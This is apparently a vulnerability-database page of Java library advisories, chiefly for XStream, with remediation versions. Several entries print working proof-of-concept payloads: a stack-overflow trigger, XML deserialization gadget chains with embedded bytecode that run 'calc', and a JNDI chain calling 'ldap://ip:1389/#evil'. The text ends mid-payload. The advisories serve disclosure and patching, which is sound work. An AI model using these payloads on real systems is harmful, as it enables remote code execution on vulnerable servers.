Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

There is no fixed version for commons-lang:commons-lang.

References

• Apache Pony Mail
• GitHub Commit

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to a manipulated binary input stream. An attacker can terminate the application with a stack overflow error resulting in a denial of service by manipulating the processed input stream when configured to use the BinaryStreamDriver.

Workaround

This vulnerability can be mitigated by catching the StackOverflowError in the client code calling XStream.

PoC

Prepare the manipulated data and provide it as input for a XStream instance using the BinaryDriver:

final byte[] byteArray = new byte[36000];
for (int i = 0; i < byteArray.length / 4; i++) {
      byteArray[i * 4] = 10;
      byteArray[i * 4 + 1] = -127;
      byteArray[i * 4 + 2] = 0;
      byteArray[i * 4 + 3] = 0;
}

XStream xstream = new XStream(new BinaryStreamDriver());
xstream.fromXML(new ByteArrayInputStream(byteArray));

As soon as the data gets unmarshalled, the endless recursion is entered and the executing thread is aborted with a stack overflow error.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.21 or higher.

References

• GitHub Commit
• GitHub Commit
• XStream Advisory

Overview

net.minidev:json-smart is a Java JSON parser.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can cause a stack exhaustion and subsequent service disruption by providing JSON input with an excessive number of nested {.

Note:

This issue exists because of an incomplete fix for CVE-2023-1370.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade net.minidev:json-smart to version 2.5.2 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• Vulnerability Report

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.

This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime environment, none of which is part of the XStream default blacklist. The same issue has already been reported for Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.

PoC

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

Note: 1.4.14-jdk7is optimised for OpenJDK 7, release 1.4.14 are compatible with other JDK projects.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.14 or higher.

References

• GitHub Commit
• PoC
• XStream advisory
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
        <outer-class>
          <verbose>0</verbose>
          <effort>0</effort>
          <optDumpBands>false</optDumpBands>
          <optDebugBands>false</optDebugBands>
          <optVaryCodings>false</optVaryCodings>
          <optBigStrings>false</optBigStrings>
          <isReader>false</isReader>
          <bandHeaderBytePos>0</bandHeaderBytePos>
          <bandHeaderBytePos0>0</bandHeaderBytePos0>
          <archiveOptions>0</archiveOptions>
          <archiveSize0>0</archiveSize0>
          <archiveSize1>0</archiveSize1>
          <archiveNextCount>0</archiveNextCount>
          <attrClassFileVersionMask>0</attrClassFileVersionMask>
          <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
            <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                  <__name>Pwnr</__name>
                  <__bytecodes>
                    <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMDU0MTY0NDMxMDIwMTkBACBMeXNvc2VyaWFsL1B3bmVyMjA1NDE2NDQzMTAyMDE5OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==</byte-array>
                    <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                  </__bytecodes>
                  <__transletIndex>-1</__transletIndex>
                  <__indentNumber>0</__indentNumber>
                </default>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </bean>
            <localCache>
              <methods>
                <entry>
                  <string>getOutputProperties</string>
                  <list>
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>getOutputProperties</name>
                      <parameter-types/>
                    </method>
                  </list>
                </entry>
              </methods>
            </localCache>
          </attrIndexTable>
          <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
        </outer-class>
      </comparator>
    </default>
    <int>3</int>
    <string-array>
      <string>yxxx</string>
      <string>outputProperties</string>
    </string-array>
    <string-array>
      <string>yxxx</string>
    </string-array>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>javax.naming.InitialContext</class>
                          <name>doLookup</name>
                          <parameter-types>
                            <class>java.lang.String</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[C</type>
                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>
                          </entry>
                        </propertyGetters>
                        <elementLocalNameCollision>false</elementLocalNameCollision>
                        <contentClass>java.lang.String</contentClass>
                        <elementDeclaredTypes/>
                      </outer-class>
                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                  </accessors>
                  <wrapper>java.lang.Object</wrapper>
                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>
                  <dynamicWrapper>false</dynamicWrapper>
                </bodyBuilder>
                <isOneWay>false</isOneWay>
              </com.sun.xml.internal.ws.client.sei.StubHandler>
            </entry>
          </stubHandlers>
          <clientConfig>false</clientConfig>
        </databinding>
        <methodHandlers>
          <entry>
            <method reference='../../../databinding/stubHandlers/entry/method'/>
            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
              <owner reference='../../../..'/>
              <method reference='../../../../databinding/stubHandlers/entry/method'/>
              <isVoid>false</isVoid>
              <isOneway>false</isOneway>
            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>
          </entry>
        </methodHandlers>
      </handler>
    </dynamic-proxy>
    <string>ldap://ip:1389/#evil</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates
• PoC in GitHub

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. A user is only affected if using the version out of the box with JDK 1.7u21 or below. However, this scenario can be adjusted easily to an external Xalan that works regardless of the version of the Java runtime. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<linked-hash-set>
  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization='custom'>
    <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
      <default>
        <__name>Pwnr</__name>
        <__bytecodes>
          <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNDE2NTkyOTE1MTgwNjAwAQAgTHlzb3NlcmlhbC9Qd25lcjQxNjU5MjkxNTE4MDYwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
          <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
        </__bytecodes>
        <__transletIndex>-1</__transletIndex>
        <__indentNumber>0</__indentNumber>
      </default>
    </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
  <dynamic-proxy>
    <interface>javax.xml.transform.Templates</interface>
    <handler class='sun.reflect.annotation.AnnotationInvocationHandler' serialization='custom'>
      <sun.reflect.annotation.AnnotationInvocationHandler>
        <default>
          <memberValues>
            <entry>
              <string>f5a5a608</string>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference='../../../../../../../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'/>
            </entry>
          </memberValues>
          <type>javax.xml.transform.Templates</type>
        </default>
      </sun.reflect.annotation.AnnotationInvocationHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<javax.swing.event.EventListenerList serialization='custom'>
  <javax.swing.event.EventListenerList>
    <default>
      <listenerList>
        <javax.swing.undo.UndoManager>
          <hasBeenDone>true</hasBeenDone>
          <alive>true</alive>
          <inProgress>true</inProgress>
          <edits>
            <com.sun.xml.internal.ws.api.message.Packet>
              <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
                <parsedMessage>true</parsedMessage>
                <soapVersion>SOAP_11</soapVersion>
                <bodyParts/>
                <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
                  <attachmentsInitialized>false</attachmentsInitialized>
                  <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
                    <soapPart/>
                    <mm>
                      <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                        <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                          <cleaned>false</cleaned>
                          <entries>
                            <com.sun.jndi.ldap.LdapEntry>
                              <DN>cn=four,cn=three,cn=two,cn=one</DN>
                              <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                                <javax.naming.directory.BasicAttribute>
                                  <default>
                                    <ignoreCase>false</ignoreCase>
                                  </default>
                                  <int>4</int>
                                  <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                                    <javax.naming.directory.BasicAttribute>
